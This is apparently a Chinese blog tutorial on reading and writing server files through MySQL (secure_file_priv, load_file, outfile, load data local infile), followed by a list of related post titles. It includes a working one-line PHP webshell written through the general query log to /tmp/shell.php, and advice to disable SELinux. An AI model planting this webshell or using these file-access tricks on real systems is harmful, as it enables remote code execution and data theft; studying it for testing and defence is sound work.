mysql数据库读写文件
环境:
centos7
mysql 5.6.47
用户:root@localhost
条件
mysql中涉及到读写操作,必然离不开secure_file_priv参数,它的值限制load data,select … outfile,load_file()函数可作用的文件位置。
secure_file_priv:
值为NULL表示禁止限制操作
值为某一目录,则只能操作该目录下的文件
没有值则表示不对读写文件进行限制
查询语句:
mysql:show global variables like "secure%";
读文件需满足条件:
1. secure_file_priv值允许对该路径下的文件进行操作2. 当前数据库用户对文件有读权限3. 当前数据库用户拥有file权限查看方法举例:mysql> show grants for root@localhost;4. 知道文件的完整路径5. 文件大小小于max_allowed_packet。load_file()函数受到这个值的限制。查看方法:mysql> show global variables like 'max_allowed%'; 修改方法:mysql> set global max_allowed_packet = 5*1024*1024;
写文件需满足条件:
1. secure_file_priv值允许对该路径下的文件进行操作2. 当前数据库用户对文件有写权限3. 当前数据库用户拥有file权限查看方法举例:mysql> show grants for root@localhost;4. 知道文件的完整路径5. 目标文件不存在
测试
secure_file_priv为固定值
使用system执行系统命令和load data infile语句加local选项绕过限制
注:
system执行系统命令适用版本为5.x。此方法只能在本地读取,远程连接mysql时无法使用system。无法越权读取。
--local选项使load data infile语句从客户主机读取文件
system读写文件:(强调一下system执行系统命令!)
load data local infile需要读取文件存储在数据表中:
当前数据库创建数据表:
create table mytable(file varchar(100));
secure_file_priv为空
修改/etc/my.cnf文件
[mysql]标志下面添加:secure_file_priv=’’
保存退出
重启mysql数据库:systemctl restart mysql
查看结果:
load data infile读文件
load_file()读文件:
outfile写文件:
dumpfile写文件:
限制用户使用读写函数
通过general_log和general_log_file实现文件的读写
mysql所有查询数据都会记录在general_log_file指定的文件中,有该文件的读权限。
默认general_log关闭。
因为涉及到文件的读写操作,所以还是受到secure_file_priv的限制。
打开general_log开关:
Set global general_log=’on’;
设置general_log_file储存路径:
Set global general_log_file=’/tmp/shell.php’;
写一句话:
mysql> select ‘<?php @eval($_POST["cmd"]); ?>’;
因为是一个php文件,所以其中的php一句话会被解析执行。
注意
当root用户对某些文件进行操作时会报permission denied错误
网上查询资料说是red hat系列的linux中selinux对哪些daemon可以进行怎么样的操作是有限制的,因此MySQL 负责读写的daemon同样受到selinux限制。
解决办法就是把selinux关闭。
操作办法:
修改/etc/selinux/config文件中的selinux的值为disabled。
保存后重启系统。
这种方法有人成功了,但是我没成功,因为我的config文件中selinux的值原本就是disabled(流汗)。
mysql数据库读写文件相关推荐
- mybatis获取mysql源数据类型_spring集成mybatis实现mysql数据库读写分离
前言 在网站的用户达到一定规模后,数据库因为负载压力过高而成为网站的瓶颈.幸运的是目前大部分的主流数据库都提供主从热备功能,通过配置两台数据库主从关系,可以将一台数据库的数据更新同步到另一台服务器上. ...
- mysql数据库字段变形_详解如何利用amoeba(变形虫)实现mysql数据库读写分离
摘要:这篇MySQL栏目下的"详解如何利用amoeba(变形虫)实现mysql数据库读写分离",介绍的技术点是"MySQL数据库.数据库读写分离.amoeba.MySQL ...
- 封装mysql数据库_快速掌握 Mysql数据库对文件操作的封装
快速掌握 Mysql数据库对文件操作的封装 在查看Mysql对文件的操作中,它在不同的操作系统上对文件的操作,除了使用标准C运行库函数,包括open.close.seek等,在Win32下的文件和目录 ...
- Mysql注入读写文件
Mysql注入读写文件 1.Mysql注入读文件 MySQL数据库在渗透测试过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行对文件进行读写(但前提是权限足够). 读取前提: 1.用户权限 ...
- MySQL注入读写文件、HTTP头中的SQL注入和cookie注入
MySQL注入读写文件 MySQL数据库在渗透过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行对文件进行读写(前提是权限足够) 读取前提: 1.用户权限足够高,尽量具有root权限 2. ...
- linux mysql 数据文件,Linux下修改MySQL数据库数据文件路径的步骤
使用rpm安装方式安装完MySQL数据库后,数据文件的默认路径为/var/lib/mysql,然而根目录并不适合用于存储数据文件. 原路径:/var/lib/mysql 目标路径:/home/mysq ...
- 简单MySQL数据库SQL文件
简单MySQL数据库SQL文件 Book数据库表范例+记录 /* Navicat MySQL Data TransferSource Server : pig Source Server Versio ...
- MySql 数据库数据文件进行恢复
MySql 数据库数据文件进行恢复 偶尔某些意外导致mysql数据库出现问题,需要依靠 data文件夹下的 frm及ibd等文件进行恢复数据 首先新建一个数据库 1.将其命名为想要恢复的数据库名 2. ...
- Python全栈(五)Web安全攻防之7.MySQL注入读写文件和HTTP头中的SQL注入
文章目录 一.MySQL注入读写文件 1.搭建新的测试环境(靶场) 2.读写文件概述 3.读取文件 4.写入文件 二.HTTP头中的SQL注入 1.HTTP头中的SQL注入介绍 updatexml函数 ...
最新文章
- 心音数据库_小V云端数据库 | 2020.9.14—2020.9.18
- sublime配置python开发环境_Sublime Text 配置Python3.7开发环境
- MySQL性能优化最佳实践 - 02 MySQL数据库性能衡量
- 40个Java多线程问题详解复习
- 计算机系统基础:输入输出技术知识笔记
- mysql连接规定时区以及编码_springboot项目中使用mysql连接遇到时区timezone问题,和编码encoding问题解决...
- 4.安卓基础之Activity跳转动画
- HDU 1568 Fibonacci【求斐波那契数的前4位/递推式】
- RocketMQ常见面试题
- echarts的入门案例
- 中职学校计算机教学中,中职学校计算机教学方式
- win10查看无线密码
- unity游戏开发之打包apk谷歌上架报错总结
- Netty高性能之道1-传统RPC调用性能差的三宗罪
- 【uva12345】Dynamic len
- 家居收纳打造一个美好的家-央央家政家居收纳
- Class::DBI模块简介
- 芦笋制品的全球与中国市场2022-2028年:技术、参与者、趋势、市场规模及占有率研究报告
- PKI(公、私钥加密,数字签名、数字证书)技术理解
- C#用IIS发布网站后localhost打不开127.0.0.1可以打开
热门文章
- Jzoj5450【NOIP2017提高A组冲刺11.4】Neutral
- 电脑蓝牙耳机连接不稳定_一个困扰我半年的 macOS 蓝牙有时断连的问题终于解决了!...
- 【KVM相关】kvm虚拟化部署配置
- 大型门户网站的RBAC用户权限管理设计
- nPlayer Plus视频播放器 免越狱直装
- sony android mp3播放器,入手一年,详细聊聊 索尼ZX505、艾利和SR15 两款安卓播放器的使用体验...
- 2020 中国企业 500 强:华为投入研发 1317 亿、阿里 431 亿、中国移动 235 亿、百度 183 亿
- Java编写ATM机模拟系统(连接数据库)
- Node.js: redis 和 ioredis 的基本使用
- 树莓派php minicom,用DHT11实践树莓派与Arduino串口通信 | 树莓派实验室